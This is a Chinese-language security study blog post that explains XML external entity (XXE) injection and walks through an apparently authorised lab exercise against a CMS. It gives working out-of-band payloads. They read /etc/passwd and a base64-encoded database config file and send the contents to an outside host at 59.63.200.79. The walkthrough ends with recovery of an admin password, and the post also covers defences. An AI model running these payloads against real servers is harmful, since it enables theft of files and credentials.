MENU

安全学习-16-XXE实体注入

December 15, 2021 • 网络安全

[TOC]

XXE实体注入

什么是XXE

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

注入:用户输入的数据被当作代码执行。

XXE:用户输入的数据被当作xml执行。

什么是XML

XML:

  • 指可扩展标记语言;
  • 一种标记语言,很类似HTML;
  • 设计宗旨是传输数据,而非显示数据;
  • XML标签没有被预定义,你需要自行定义标签;
  • XML被设计为具有自我描述性;
  • XML是W3C的推荐标准。

XML特点:

  • XML仅仅是纯文本,他不会做任何事情;
  • XML可以自己发明标签(允许定义自己的标签和文档结构)

XML的定义

存储数据的东西。

XML 无所不在。XML是各种应用程序自建进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

XML的结构

<?xml version="1.0" >   # XML声明
<!DOCTYPE foo [                                 # DTD部分
  <!ELEMENT foo ANY >                          # DTD部分
  <!ENTITY xxe SYSTEM "file:///etc/passwd">]>  # DTD部分,核心定义部分
<foo>&xee;</foo>        # XML部分,具体存储内容部分

结构:

  1. XML声明部分;
  2. DTD部分(某一个复杂的词或者段落会在文中出现很多很多次)定义的时候,可以去外部读取数据;
  3. XML内容部分。

定义实体必须写在DTD部分! DTD可以从外部获取数据然后定义实体(变量)!

XML不同语言支持协议

<!ENTITY 实体名称 SYSTEM "URI/URL">

外部引用可支持httpfile等协议,不同的语言支持的协议不通,但存在一些通用的协议,具体内容如下

libxml2PHPJava.NET
filefilehttpfile
httphttphttpshttp
ftpftpftphttps
phpfileftp
compress.zlibjar
compress.bzip2netdoc
datamailto
globgopher *
phar

XXE操作流程

1、1.xml先获取我们要拿的数据;

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
>
%all;

2、2.php把拿的数据拼接成http请求发送到我们的外部地址;

3、执行代码;

4、3.txt通过我们的外部地址读取到获取的内容。

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml"> 
%remote;
%send; 
]>

XXE实战

已知靶场是一个标准的CMS,存在 wexin目录下 index.php 存在XXE实体注入点!

本地实战

<!ENTITY % all
"<!ENTIRY &#X25; send SYSTEM 'http://192.168.10.15/2.php?id=%file;'>">

1、获取代码中存在问题的点

1

当$signature不为空直接将POST提交上去的数据放入了simplexml_load_string函数。

2、Burp抓包修改请求

2

3、在线解析base64

3

4


在线靶场实战

1、靶场地址

http://59.63.200.79:8207/

2、清空3.txt的内容,避免干扰

5

6


3、Burp抓包构造请求

7

8

4、base64解码

9

10

5、目录扫描得到数据库管理页面

11

12

修改邮箱地址!

13

得到后台admin密码!

14

15

16

由于验证码半天没有收到,暂时完成,停止!

XXE的防御手法

一、使用开发语言提供的禁用外部实体方法

phplibxml_disable_entity_loader(true);

其他语言: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

二、过滤用户提交的XML数据

过滤关键字: SYSTEMPUBLIC

总结

XXE实体注入,也是注入的一种,也是将用户的输入的数据被当作xml配置执行,从而实现获取数据!

流程:

  1. 获取存在问题的页面;
  2. 抓包对该页面发起XML注入的数据;
  3. 该数据中包含获取关键文件的数据,并向外部发起包含该变量值的请求;
  4. 外部存储该数据;
  5. 获取该数据。

XXE常见问题

何为XXE?
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

XML又是什么呢?
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML有什么特点
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

既然XML是纯文本为什么还会产生注入呢
原本xml本身是没有任何作用,但是在PHP里有一个函数叫做simplexml_load_string,他的作用是把xml转化为对象。【注:其他语言也有类似函数】

XML和HTML是什么关系
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。

为什么使用 DTD?
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。

DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

1.    内部实体声明:<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">

2.    外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

怎么构造外部实体注入?
1.    直接通过DTD外部实体声明
2.    通过DTD文档引入外部DTD文档,再引入外部实体声明
3.    通过DTD外部实体声明引入外部实体声明

XML外部实体攻击又是什么
XML 外部实体注入简称XXE有了XML实体,关键字SYSTEM会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。

XXE在php中除了靶场用到的file协议还支持那些协议呢
file:可用 file://文件地址,来读取文件
http:可以访问 HTTP(S) 网址
FTP:访问 FTP
PHP:访问各个 输入/输出 流
zlib:压缩流
data:数据
glob:查找匹配的文件格式路径
expect:处理交互式的流,可用来执行命令,但需要先安装相应插件

为什么要进行base64编码
为了防止一些特殊字符对我们产生影响


我们炮台在xxe中具体起到什么作用呢
很多时候语言解析执行了XML后并不会给你输出,我们这个是时候可以使用一个类似与于接受的平台,然后去平台查看就可以获取到数据。


如何防御XXE呢
1.    使用开发语言提供的禁用外部实体的方法
2.    过滤用户提交的XML数据

XXE的真实案例
在2018年7月4日微信SDK爆出XXE漏洞,通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为。
他是由于微信支付SDK的XXE漏洞产生原因都是因为使用了DocumentBuilderFactory没有限制外部查询而导致XXE,我们的靶场也是基于这个漏洞。
XXE如何寻找
当同学遇到传参的地方出现了XML代码格式的东西,不妨传参一些XML代码去尝试看看传参后是否有报错,页面是否显示了实体中的东西